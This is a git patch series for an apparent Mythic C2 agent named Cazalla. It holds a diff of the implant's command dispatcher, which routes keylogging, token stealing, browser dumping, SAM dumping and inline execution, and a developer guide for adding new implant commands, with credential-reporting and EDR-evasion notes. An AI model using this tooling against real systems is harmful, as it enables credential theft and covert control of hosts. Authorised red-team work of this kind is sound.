ENABLE_KEYLOG_STOP_CMD - } else if (tarea == KEYLOG_STOP_CMD) { + else if (tarea == KEYLOG_STOP_CMD) { _inf("===== PROCESSING KEYLOG_STOP_CMD (0x%02X) =====", tarea); StopKeylogger(analizadorTarea); _inf("===== KEYLOG_STOP_CMD COMPLETED ====="); } #endif #ifdef ENABLE_LIST_TOKENS_CMD - } else if (tarea == LIST_TOKENS_CMD) { + else if (tarea == LIST_TOKENS_CMD) { _inf("===== PROCESSING LIST_TOKENS_CMD (0x%02X) =====", tarea); ListarTokens(analizadorTarea); _inf("===== LIST_TOKENS_CMD COMPLETED ====="); } #endif #ifdef ENABLE_STEAL_TOKEN_CMD - } else if (tarea == STEAL_TOKEN_CMD) { + else if (tarea == STEAL_TOKEN_CMD) { _inf("===== PROCESSING STEAL_TOKEN_CMD (0x%02X) =====", tarea); RobarToken(analizadorTarea); _inf("===== STEAL_TOKEN_CMD COMPLETED ====="); } #endif #ifdef ENABLE_MAKE_TOKEN_CMD - } else if (tarea == MAKE_TOKEN_CMD) { + else if (tarea == MAKE_TOKEN_CMD) { _inf("===== PROCESSING MAKE_TOKEN_CMD (0x%02X) =====", tarea); CrearToken(analizadorTarea); _inf("===== MAKE_TOKEN_CMD COMPLETED ====="); } #endif #ifdef ENABLE_REV2SELF_CMD - } else if (tarea == REV2SELF_CMD) { + else if (tarea == REV2SELF_CMD) { _inf("===== PROCESSING REV2SELF_CMD (0x%02X) =====", tarea); RevertirToken(analizadorTarea); _inf("===== REV2SELF_CMD COMPLETED ====="); } #endif #ifdef ENABLE_WHOAMI_CMD - } else if (tarea == WHOAMI_CMD) { + else if (tarea == WHOAMI_CMD) { _inf("===== PROCESSING WHOAMI_CMD (0x%02X) =====", tarea); ObtenerUsuarioActual(analizadorTarea); _inf("===== WHOAMI_CMD COMPLETED ====="); } #endif #ifdef ENABLE_KILL_CMD - } else if (tarea == KILL_CMD) { + else if (tarea == KILL_CMD) { _inf("===== PROCESSING KILL_CMD (0x%02X) =====", tarea); MatarProceso(analizadorTarea); _inf("===== KILL_CMD COMPLETED ====="); } #endif #ifdef ENABLE_BROWSER_INFO_CMD - } else if (tarea == BROWSER_INFO_CMD) { + else if (tarea == BROWSER_INFO_CMD) { _inf("===== PROCESSING BROWSER_INFO_CMD (0x%02X) =====", tarea); IdentificarNavegadores(analizadorTarea); _inf("===== BROWSER_INFO_CMD COMPLETED ====="); } #endif #ifdef ENABLE_BROWSER_DUMP_CMD - } else if (tarea == BROWSER_DUMP_CMD) { + else if (tarea == BROWSER_DUMP_CMD) { _inf("===== PROCESSING BROWSER_DUMP_CMD (0x%02X) =====", tarea); DumparNavegador(analizadorTarea); _inf("===== BROWSER_DUMP_CMD COMPLETED ====="); } #endif #ifdef ENABLE_SAMDUMP_CMD - } else if (tarea == SAMDUMP_CMD) { + else if (tarea == SAMDUMP_CMD) { _inf("===== PROCESSING SAMDUMP_CMD (0x%02X) =====", tarea); SamDumpHandler(analizadorTarea); _inf("===== SAMDUMP_CMD COMPLETED ====="); } #endif #ifdef ENABLE_INLINE_EXECUTE_CMD - } else if (tarea == INLINE_EXECUTE_CMD) { + else if (tarea == INLINE_EXECUTE_CMD) { _inf("===== PROCESSING INLINE_EXECUTE_CMD (0x%02X) =====", tarea); InlineExecuteHandler(analizadorTarea); _inf("===== INLINE_EXECUTE_CMD COMPLETED ====="); } #endif #ifdef ENABLE_INLINE_EXECUTE_ASSEMBLY_CMD - } else if (tarea == INLINE_EXECUTE_ASSEMBLY_CMD) { + else if (tarea == INLINE_EXECUTE_ASSEMBLY_CMD) { _inf("===== PROCESSING INLINE_EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea); // This command is typically handled via subtasks in Python // But if called directly, we'll handle it here From 05d084bb6c12da6f8442cc2e168a6c6e781e6f74 Mon Sep 17 00:00:00 2001 From: Marmeus Date: Mon, 26 Jan 2026 09:35:31 +0000 Subject: [PATCH 4/4] Added develop commands doc file --- .../Cazalla/developing-commands.md | 666 ++++++++++++++++++ 1 file changed, 666 insertions(+) create mode 100644 documentation-payload/Cazalla/developing-commands.md diff --git a/documentation-payload/Cazalla/developing-commands.md b/documentation-payload/Cazalla/developing-commands.md new file mode 100644 index 0000000..58040d2 --- /dev/null +++ b/documentation-payload/Cazalla/developing-commands.md @@ -0,0 +1,666 @@ ++++ +title = "Developing Commands" +chapter = false +weight = 20 +pre = "3. " ++++ + +# Developing New Commands for Cazalla + +This guide provides a step-by-step walkthrough for adding new commands to the Cazalla agent. Understanding this process is essential for extending Cazalla's capabilities. + +## πŸ“‹ Overview + +Adding a new command to Cazalla requires coordination across multiple components: + +1. **Python Command Definition** - Defines the command interface in Mythic +2. **Translator Mapping** - Maps command names to hex codes for agent communication +3. **C Agent Implementation** - Implements the actual command logic +4. **Command Dispatcher Registration** - Registers the handler in the command dispatcher +5. **Builder Configuration** - Enables command selection during payload creation + +## πŸ—οΈ Architecture Overview + +```mermaid +graph LR + A[Python Command] --> B[Translator] + B --> C[C Agent Handler] + C --> D[Command Dispatcher] + D --> E[Builder Mapping] + + style A fill:#e1f5ff + style B fill:#fff4e1 + style C fill:#e8f5e9 + style D fill:#fce4ec + style E fill:#f3e5f5 +``` + +**Data Flow:** +- **Mythic UI** β†’ Python command receives task +- **Python** β†’ Translator converts to binary format with hex code +- **Agent** β†’ C handler processes command and returns response +- **Translator** β†’ Converts response back to Mythic format + +## πŸ“ Step-by-Step Guide + +### Step 1: Create Python Command File + +Create a new Python file in `Payload_Type/cazalla/cazalla/agent_functions/` named after your command (e.g., `mycommand.py`). + +#### 1.1 Command Arguments Class + +Define the argument parsing logic: + +```python +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * + +class MyCommandArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="param1", + type=ParameterType.String, # or ParameterType.Number, etc. + description="Description of parameter", + parameter_group_info=[ParameterGroupInfo( + required=True, # or False + ui_position=1 + )] + ), + # Add more parameters as needed + ] + + async def parse_arguments(self): + """Parse command-line arguments""" + if len(self.command_line) == 0: + raise ValueError("Parameter required") + # Parse and validate arguments + self.add_arg("param1", self.command_line) + + async def parse_dictionary(self, dictionary): + """Parse dictionary arguments (from UI)""" + self.load_args_from_dictionary(dictionary) +``` + +#### 1.2 Command Class + +Define the main command class: + +```python +class MyCommandCommand(CommandBase): + cmd = "mycommand" # Command name (lowercase, no spaces) + needs_admin = False # Set to True if command requires admin privileges + help_cmd = "mycommand " + description = "Detailed description of what the command does" + version = 1 + author = "YourName" + argument_class = MyCommandArguments + attackmapping = ["T1059"] # MITRE ATT&CK technique IDs + + attributes = CommandAttributes( + supported_os=[SupportedOS.Windows], + builtin=False, # Set to True if command should always be included + suggested_command=False # Set to True to suggest in UI + ) + + async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTaskOPSECPreTaskMessageResponse: + """Optional: OPSEC check before task creation""" + # Add warnings about detection risks + return PTTaskOPSECPreTaskMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + OpsecPreBlocked=False, + OpsecPreBypassRole="operator", + OpsecPreMessage="OPSEC warning message here" + ) + + async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTaskOPSECPostTaskMessageResponse: + """Optional: OPSEC check after task creation""" + return PTTaskOPSECPostTaskMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + OpsecPostBlocked=False, + OpsecPostBypassRole="operator", + OpsecPostMessage="Post-execution warning" + ) + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + """Process task creation - called when task is created""" + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True + ) + # Add any pre-processing logic here + # Access arguments: taskData.args.get_arg("param1") + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + """Process agent response - called when agent sends response""" + resp = PTTaskProcessResponseMessageResponse( + TaskID=task.Task.ID, + Success=True + ) + # Process response data here if needed + return resp +``` + +#### 1.3 Key Attributes + +- **`cmd`**: Command name used in Mythic (must match translator mapping) +- **`builtin`**: + - `True` = Always included in payload (e.g., `exit`, `sleep`) + - `False` = Can be selected during payload creation +- **`needs_admin`**: Set to `True` if command requires administrator privileges +- **`attackmapping`**: List of MITRE ATT&CK technique IDs (e.g., `["T1059"]`) + +### Step 2: Add Command to Translator + +Edit `Payload_Type/cazalla/translator/commands_from_c2.py` and add your command to the `commands` dictionary: + +```python +commands = { + # ... existing commands ... + "mycommand": {"hex_code": 0x99, "input_type": "string"}, +} +``` + +**Important Notes:** +- **`hex_code`**: Choose an unused hex code (0x00-0xFF). Check `comandos.h` for existing codes +- **`input_type`**: + - `"string"` - String parameter + - `"int"` - Integer parameter + - `None` - No parameters + - Special types: `"bof_special"`, `"assembly_special"`, `"socks_special"` (see existing commands) + +**Hex Code Allocation:** +- `0x00-0x1F`: Reserved for core commands +- `0x20-0x5F`: File system and standard commands +- `0x60-0x6F`: Network tunneling commands +- `0x70-0x7F`: Code execution commands +- `0x80+`: Control commands + +### Step 3: Implement C Agent Handler + +#### 3.1 Define Command Constant + +Edit `Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h` and add: + +```c +#define MYCOMMAND_CMD 0x99 // Must match hex_code from translator +``` + +#### 3.2 Implement Handler Function + +Create or edit the appropriate C file (e.g., `SistemadeFicheros.c` for file operations, or create a new file): + +```c +#include "cazalla.h" +#include "comandos.h" +#include "paquete.h" + +void MyCommandHandler(PAnalizador analizadorTarea) { + _inf("===== PROCESSING MYCOMMAND_CMD (0x%02X) =====", MYCOMMAND_CMD); + + // Read task UUID (first 36 bytes) + SIZE_T uuidLen = 36; + PCHAR taskUuid = getString(analizadorTarea, &uuidLen); + if (!taskUuid || uuidLen != 36) { + _err("Error reading task UUID"); + if (analizadorTarea) liberarAnalizador(analizadorTarea); + return; + } + + // Read parameters based on input_type + // For string input_type: + SIZE_T param1Len = 0; + PCHAR param1 = getString(analizadorTarea, ¶m1Len); + + // For int input_type: + // UINT32 param1 = (UINT32)getInt32(analizadorTarea); + + // Implement your command logic here + // ... + + // Create response packet + PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE adds agent UUID + addString(respuesta, taskUuid, FALSE); // Add task UUID + + // Add output to response + PackageAddFormatPrintf(respuesta, FALSE, "Command executed successfully\n"); + PackageAddFormatPrintf(respuesta, FALSE, "Parameter: %.*s\n", (int)param1Len, param1); + + // Optional: Add artifacts (file writes, process creates, etc.) + // addArtifact(respuesta, "File Write", "C:\\path\\to\\file"); + + // Optional: Add credentials if discovered + // addCredential(respuesta, "plaintext", "DOMAIN", "password", "username"); + + // Send response + Analizador* resp = mandarPaquete(respuesta); + liberarPaquete(respuesta); + if (resp) liberarAnalizador(resp); + + if (analizadorTarea) liberarAnalizador(analizadorTarea); + _inf("===== MYCOMMAND_CMD COMPLETED ====="); +} +``` + +#### 3.3 Key C Functions + +- **`getString(analizador, &len)`**: Read string from buffer +- **`getInt32(analizador)`**: Read 32-bit integer +- **`getByte(analizador)`**: Read single byte +- **`getBytes(analizador, &len)`**: Read byte array +- **`nuevoPaquete(type, add_uuid)`**: Create response packet +- **`addString(paquete, str, copy)`**: Add string to packet +- **`PackageAddFormatPrintf(paquete, copy, format, ...)`**: Add formatted output +- **`addArtifact(paquete, type, data)`**: Add artifact (file write, process create, etc.) +- **`addCredential(paquete, type, realm, credential, account)`**: Add credential +- **`mandarPaquete(paquete)`**: Send packet to Mythic +- **`liberarPaquete(paquete)`**: Free packet memory +- **`liberarAnalizador(analizador)`**: Free analyzer memory + +### Step 4: Register Handler in Command Dispatcher + +Edit `Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c` and add your command to the dispatch chain in `handleGetTasking()`: + +```c +#ifdef ENABLE_MYCOMMAND_CMD + else if (tarea == MYCOMMAND_CMD) { + _inf("===== PROCESSING MYCOMMAND_CMD (0x%02X) =====", tarea); + MyCommandHandler(analizadorTarea); + _inf("===== MYCOMMAND_CMD COMPLETED ====="); + } +#endif +``` + +**Placement:** +- Add after `SLEEP_CMD` (which always closes with `}`) +- Before the final `else` block for unknown commands +- Use `else if` (not `} else if`) to maintain the chain + +**Important:** The command handler must be wrapped in `#ifdef ENABLE_MYCOMMAND_CMD` to support conditional compilation. + +### Step 5: Add to Builder Mapping + +Edit `Payload_Type/cazalla/cazalla/agent_functions/builder.py` and add your command to the `command_to_define` dictionary (around line 209): + +```python +command_to_define = { + # ... existing commands ... + "mycommand": "ENABLE_MYCOMMAND_CMD", +} +``` + +This maps the Python command name to the C preprocessor define name. + +### Step 6: Update Includes (if needed) + +If your command requires a new header file: + +**In `comandos.h`:** +```c +#ifdef ENABLE_MYCOMMAND_CMD +#include "mycommand.h" +#endif +``` + +**In `comandos.c`:** +```c +#ifdef ENABLE_MYCOMMAND_CMD +#include "mycommand.h" +#endif +``` + +### Step 7: Add Forward Declaration (if needed) + +If your handler function is defined in a separate file, add a forward declaration in `comandos.c`: + +```c +#ifdef ENABLE_MYCOMMAND_CMD +void MyCommandHandler(PAnalizador analizadorTarea); +#endif +``` + +## πŸ” Complete Example: Adding a "ping" Command + +Let's walk through a complete example of adding a simple `ping` command that sends a message back to Mythic. + +### Example 1: Python Command File (`ping.py`) + +```python +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * + +class PingArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="message", + type=ParameterType.String, + description="Message to echo back", + parameter_group_info=[ParameterGroupInfo(required=False)] + ), + ] + + async def parse_arguments(self): + if len(self.command_line) > 0: + self.add_arg("message", self.command_line) + else: + self.add_arg("message", "pong") + + async def parse_dictionary(self, dictionary): + self.load_args_from_dictionary(dictionary) + +class PingCommand(CommandBase): + cmd = "ping" + needs_admin = False + help_cmd = "ping [message]" + description = "Echo a message back to verify agent communication" + version = 1 + author = "YourName" + argument_class = PingArguments + attackmapping = [] + + attributes = CommandAttributes( + supported_os=[SupportedOS.Windows], + builtin=False + ) + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True + ) + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp +``` + +### Example 2: Translator Mapping + +In `translator/commands_from_c2.py`: + +```python +commands = { + # ... existing commands ... + "ping": {"hex_code": 0x90, "input_type": "string"}, +} +``` + +### Example 3: C Header Definition + +In `comandos.h`: + +```c +#define PING_CMD 0x90 +``` + +### Example 4: C Handler Implementation + +Create `ping.c`: + +```c +#include "cazalla.h" +#include "comandos.h" +#include "paquete.h" + +void PingHandler(PAnalizador analizadorTarea) { + _inf("===== PROCESSING PING_CMD (0x%02X) =====", PING_CMD); + + // Read task UUID + SIZE_T uuidLen = 36; + PCHAR taskUuid = getString(analizadorTarea, &uuidLen); + + // Read message parameter + SIZE_T messageLen = 0; + PCHAR message = getString(analizadorTarea, &messageLen); + + // Create response + PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuesta, taskUuid, FALSE); + + // Echo the message back + PackageAddFormatPrintf(respuesta, FALSE, "Ping received: %.*s\n", (int)messageLen, message); + PackageAddFormatPrintf(respuesta, FALSE, "Agent is alive and responding!\n"); + + // Send response + Analizador* resp = mandarPaquete(respuesta); + liberarPaquete(respuesta); + if (resp) liberarAnalizador(resp); + + if (analizadorTarea) liberarAnalizador(analizadorTarea); + _inf("===== PING_CMD COMPLETED ====="); +} +``` + +### Example 5: Register in Dispatcher + +In `comandos.c`, add to the dispatch chain: + +```c +#ifdef ENABLE_PING_CMD + else if (tarea == PING_CMD) { + _inf("===== PROCESSING PING_CMD (0x%02X) =====", tarea); + PingHandler(analizadorTarea); + _inf("===== PING_CMD COMPLETED ====="); + } +#endif +``` + +### Example 6: Builder Mapping + +In `builder.py`: + +```python +command_to_define = { + # ... existing commands ... + "ping": "ENABLE_PING_CMD", +} +``` + +## 🎯 Advanced Features + +### Adding Artifacts + +Artifacts track system modifications for OPSEC and reporting: + +```c +// File write artifact +addArtifact(respuesta, "File Write", "C:\\path\\to\\file"); + +// Process create artifact +addArtifact(respuesta, "Process Create", "cmd.exe /c whoami"); + +// Network connection artifact +addArtifact(respuesta, "Network Connection", "Connection to 192.168.1.1:80"); + +// Registry write artifact +addArtifact(respuesta, "Registry Write", "HKEY_LOCAL_MACHINE\\..."); +``` + +### Adding Credentials + +Automatically extract and report credentials: + +```c +// Plaintext password +addCredential(respuesta, "plaintext", "DOMAIN", "password123", "username"); + +// NTLM hash +addCredential(respuesta, "hash", "", "aad3b435b51404ee:hashvalue", "Administrator"); + +// Certificate +addCredential(respuesta, "certificate", "", "cert_data_base64", "account_name"); +``` + +### OPSEC Checking + +Implement OPSEC warnings in Python: + +```python +async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTaskOPSECPreTaskMessageResponse: + message = "⚠️ OPSEC WARNING\n\n" + message += "This command may be detected by:\n" + message += " β€’ EDR/XDR solutions\n" + message += " β€’ Network monitoring\n" + + return PTTaskOPSECPreTaskMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + OpsecPreBlocked=False, # Set to True to block execution + OpsecPreBypassRole="operator", + OpsecPreMessage=message + ) +``` + +### Process Browser Integration + +To integrate with Mythic's Process Browser: + +```python +supported_ui_features = ["process_browser:list"] # or "process_browser:kill" +``` + +Then in the translator, format process data as JSON matching Mythic's Process Browser format. + +### File Browser Integration + +To integrate with Mythic's File Browser: + +```python +supported_ui_features = ["file_browser:list"] +``` + +The translator will automatically convert file listings to File Browser format. + +## πŸ§ͺ Testing Your Command + +### 1. Restart Mythic Agent Container + +After adding your command, restart the Cazalla container: + +```bash +cd ~/Mythic +./mythic-cli restart cazalla +``` + +### 2. Verify Command Appears + +1. Open Mythic UI +2. Navigate to Payloads β†’ Create Payload +3. Select Cazalla +4. Check that your command appears in the command selection list + +### 3. Build Test Payload + +1. Select your command (and any others you need) +2. Configure C2 profile +3. Build the payload +4. Check build logs for any compilation errors + +### 4. Test Command Execution + +1. Deploy payload to test system +2. Execute your command from Mythic UI +3. Verify response is received correctly +4. Check for any errors in agent logs + +## πŸ› Common Issues and Solutions + +### Issue: Command Not Appearing in UI + +**Solution:** +- Verify Python file is in `agent_functions/` directory +- Check that class name ends with `Command` (e.g., `PingCommand`) +- Restart Mythic agent container +- Check Mythic logs for import errors + +### Issue: Compilation Errors + +**Solution:** +- Verify hex code is unique (check `comandos.h`) +- Ensure `#ifdef` blocks are properly closed +- Check that handler function is declared before use +- Verify all includes are correct + +### Issue: Command Not Executing + +**Solution:** +- Verify command was selected during payload build +- Check that hex code matches in translator and `comandos.h` +- Verify handler is registered in `comandos.c` +- Check agent logs for error messages + +### Issue: Response Not Received + +**Solution:** +- Verify response packet is created correctly +- Check that task UUID is added to response +- Ensure `mandarPaquete()` is called +- Verify packet is properly formatted + +## πŸ“š Reference: Command Hex Codes + +Current hex code allocations in Cazalla: + +- `0x00`: GET_TASKING +- `0x01`: POST_RESPONSE +- `0x15`: PROCESS_CMD (ps) +- `0x20-0x28`: File system commands (cd, ls, pwd, cp, mkdir, rm, cat, download, upload) +- `0x29`: SCREENSHOT_CMD +- `0x30-0x31`: Keylogging (start, stop) +- `0x32-0x37`: Token operations (list_tokens, steal_token, make_token, rev2self, whoami, kill) +- `0x38`: SLEEP_CMD +- `0x40-0x42`: Browser and SAM (browser_info, browser_dump, samdump) +- `0x54`: SHELL_CMD +- `0x60-0x63`: Network tunneling (socks, rpfwd) +- `0x70-0x71`: Code execution (inline_execute, inline_execute_assembly) +- `0x80`: EXIT_CMD +- `0xF1`: CHECKIN + +**Available ranges for new commands:** +- `0x43-0x53`: Available +- `0x55-0x5F`: Available +- `0x64-0x6F`: Available +- `0x72-0x7F`: Available +- `0x81-0xF0`: Available (avoid 0xF1-F5, 0xF7-F8 which are used for markers) + +## βœ… Checklist + +Use this checklist when adding a new command: + +- [ ] Python command file created in `agent_functions/` +- [ ] Command class inherits from `CommandBase` +- [ ] `cmd` attribute matches command name +- [ ] `builtin` attribute set appropriately +- [ ] Command added to translator `commands` dictionary +- [ ] Hex code defined in `comandos.h` +- [ ] C handler function implemented +- [ ] Handler registered in `comandos.c` dispatch chain +- [ ] Command added to `builder.py` `command_to_define` mapping +- [ ] Handler wrapped in `#ifdef ENABLE_XXX_CMD` +- [ ] Includes added if needed +- [ ] Command tested in payload build +- [ ] Command tested in execution +- [ ] Documentation updated (optional) + +## πŸ”— Related Documentation + +- [Commands Reference](commands.md) - Complete list of all commands +- [Getting Started](getting-started.md) - Installation and setup +- [Features Overview](features.md) - Detailed feature explanations +- [OPSEC Guide](opsec.md) - Operational security considerations + +--- + +**Next Steps:** After implementing your command, consider: +- Adding OPSEC warnings for risky operations +- Implementing artifact tracking for system modifications +- Adding credential extraction if applicable +- Writing unit tests for your command logic +- Documenting your command in the commands reference